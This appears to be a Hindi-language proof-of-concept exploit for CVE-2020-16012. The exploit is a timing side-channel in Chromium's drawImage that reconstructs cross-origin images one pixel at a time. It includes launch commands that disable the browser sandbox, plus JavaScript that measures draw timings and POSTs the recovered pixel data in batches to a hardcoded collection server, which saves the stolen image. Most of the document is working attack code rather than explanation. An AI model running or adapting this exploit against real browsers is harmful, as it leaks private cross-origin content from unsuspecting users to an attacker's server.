
CVE-2020-16012 के लिए प्रूफ-ऑफ-कॉन्सेप्ट: क्रोमियम के drawImage API में समय मापन का उपयोग करके क्रॉस-ओरिजिन छवियों से पिक्सेल डेटा पुनर्प्राप्त करने वाला एक साइड-चैनल हमला।
unzip Linux...chrome.zip
cd chrome-linux/
./chrome --disable-gpu --disable-software-rasterizer --no-sandbox ../code/client/exploit.html
cd code/server
pip install -r requirements.txt
यह लोकलहोस्ट पर पोर्ट 7000 पर चलता है।
python3 server.py
जब आप सर्वर को बंद करने के लिए "Ctrl+C" दबाएंगे तो एक output/img1.png इमेज बनाई जाएगी।
<script>
let Heatmap = null
let ScratchContext = null
const Width = 75
const Height = 75
const Iters = 200
const BATCH_SIZE = 100 // भेजने के लिए बैच का आकार
// सर्वर का बेस URL
const SERVER_URL = "http://192.168.0.26:7000"
function median(lst) {
let sorted = lst.slice(0).sort()
return sorted[Math.floor(sorted.length / 2)]
}
function zeroDelay() {
return new Promise(resolve => setTimeout(resolve, 0))
}
// RGB डेटा को सर्वर पर POST के माध्यम से भेजने का फंक्शन (व्यक्तिगत विधि)
async function sendPixelData(x, y, rgb) {
// RGB डेटा को दूरस्थ सर्वर पर भेजता है
await fetch(`${SERVER_URL}`, {
method: "POST",
body: JSON.stringify({ x, y, rgb }),
headers: { "Content-Type": "application/json" }
})
}
// पिक्सेल का एक बैच भेजने का फंक्शन
async function sendPixelBatch(pixelBatch) {
await fetch(`${SERVER_URL}/batch`, {
method: "POST",
body: JSON.stringify({ pixels: pixelBatch }),
headers: { "Content-Type": "application/json" }
});
console.log(`${pixelBatch.length} पिक्सेल का एक बैच भेज रहा है`);
}
// सर्वर पर इमेज को सेव करने का फंक्शन
async function saveImage() {
try {
const response = await fetch(`${SERVER_URL}/auto-save`);
const data = await response.json();
if (response.ok) {
displayStatus(`इमेज सेव की गई: ${data.path}`, true);
// वैकल्पिक रूप से, सेव की गई इमेज प्रदर्शित करें
document.getElementById('saved-image').src = `${SERVER_URL}/get-latest-image?t=${Date.now()}`;
document.getElementById('saved-image-container').style.display = 'block';
} else {
displayStatus(`त्रुटि: ${data.error}`, false);
}
} catch (error) {
displayStatus(`कनेक्शन त्रुटि: ${error.message}`, false);
}
}
// स्टेटस संदेश प्रदर्शित करने का फंक्शन
function displayStatus(message, isSuccess) {
const statusElement = document.getElementById('status');
statusElement.textContent = message;
statusElement.className = isSuccess ? 'success' : 'error';
statusElement.style.display = 'block';
// 5 सेकंड के बाद संदेश छुपाएं
setTimeout(() => {
statusElement.style.display = 'none';
}, 5000);
}
async function timePixel(image, x, y) {
let startTime = performance.now()
for (let j = 0; j < Iters; j++) {
ScratchContext.drawImage(image, x, y, 1, 1, 0, 0, 1024, 1024)
}
/* क्रोमियम में, ड्रॉ ऑपरेशन वास्तव में तुरंत निष्पादित नहीं होते,
बल्कि केवल तब जब जावास्क्रिप्ट थ्रेड रुकता है। हम ब्राउज़र को ड्रॉइंग
करने का मौका देने के लिए शून्य अवधि के टाइमआउट पर प्रतीक्षा करते हैं,
अन्यथा हम केवल सभी ड्रॉ ऑपरेशन को कतारबद्ध करने में लगने वाले समय को
माप रहे होंगे। */
await zeroDelay()
let endTime = performance.now()
return endTime - startTime
}
function drawHeatmap(heatmap) {
let min = Math.min(...heatmap.map(l => Math.min(...l)))
let max = Math.max(...heatmap.map(l => Math.max(...l)))
Heatmap.clearRect(0, 0, Width, Height)
for (let x = 0; x < heatmap.length; x++) {
for (let y = 0; y < heatmap[x].length; y++) {
let color = Math.round(255 * (max - heatmap[x][y]) / (max - min))
Heatmap.fillStyle = `rgb(${color}, ${color}, ${color})`
Heatmap.fillRect(x, y, 1, 1)
}
}
}
async function recoverImage(image) {
document.getElementById('progress-info').textContent = "प्रारंभ हो रहा है...";
/* पहले कुछ माप हमेशा अपेक्षा से अधिक होते हैं क्योंकि कुछ इंटरप्रेटर
ऑप्टिमाइज़ेशन अभी तक प्रभावी नहीं हुए हैं, इसलिए हम 5 मापों को
त्याग कर इंटरप्रेटर को "वार्म अप" करते हैं। */
for (let i = 0; i < 5; i++) {
await timePixel(image, 0, 0)
}
let pixels = [];
let allPixelData = [];
let currentBatch = [];
const totalPixels = Width * Height;
let processedPixels = 0;
document.getElementById('progress-info').textContent = "पुनर्प्राप्ति जारी...";
for (let x = 0; x < Width; x++) {
let col = []
for (let y = 0; y < Height; y++) {
rgb = await timePixel(image, x, y)
col.push(rgb)
// वर्तमान बैच में पिक्सेल जोड़ें
currentBatch.push({x, y, rgb});
processedPixels++;
// प्रगति संकेतक अपडेट करें
document.getElementById('progress-info').textContent =
`प्रगति: ${processedPixels}/${totalPixels} पिक्सेल (${Math.round(processedPixels/totalPixels*100)}%)`;
// यदि बैच सीमा आकार तक पहुँच जाए, तो इसे भेजें
if (currentBatch.length >= BATCH_SIZE) {
await sendPixelBatch([...currentBatch]); // संदर्भ समस्याओं से बचने के लिए बैच की प्रतिलिपि
currentBatch = []; // बैच रीसेट करें
}
drawHeatmap(pixels.concat([col]));
}
pixels.push(col)
}
// यदि कोई पिक्सेल बचे हों तो अंतिम बैच भेजें
if (currentBatch.length > 0) {
await sendPixelBatch(currentBatch);
}
drawHeatmap(pixels)
document.getElementById('progress-info').textContent = "पुनर्प्राप्ति पूर्ण!";
document.getElementById('save-btn').disabled = false;
saveImage();
}
function init() {
ScratchContext = document.getElementById('scratch').getContext('2d')
ScratchContext.imageSmoothingEnabled = false
Heatmap = document.getElementById('heatmap').getContext('2d')
Heatmap.imageSmoothingEnabled = false
// जब तक पुनर्प्राप्ति पूर्ण न हो जाए, तब तक सेव बटन को अक्षम करें
document.getElementById('save-btn').disabled = true;
recoverImage(document.getElementById('target'))
}
</script>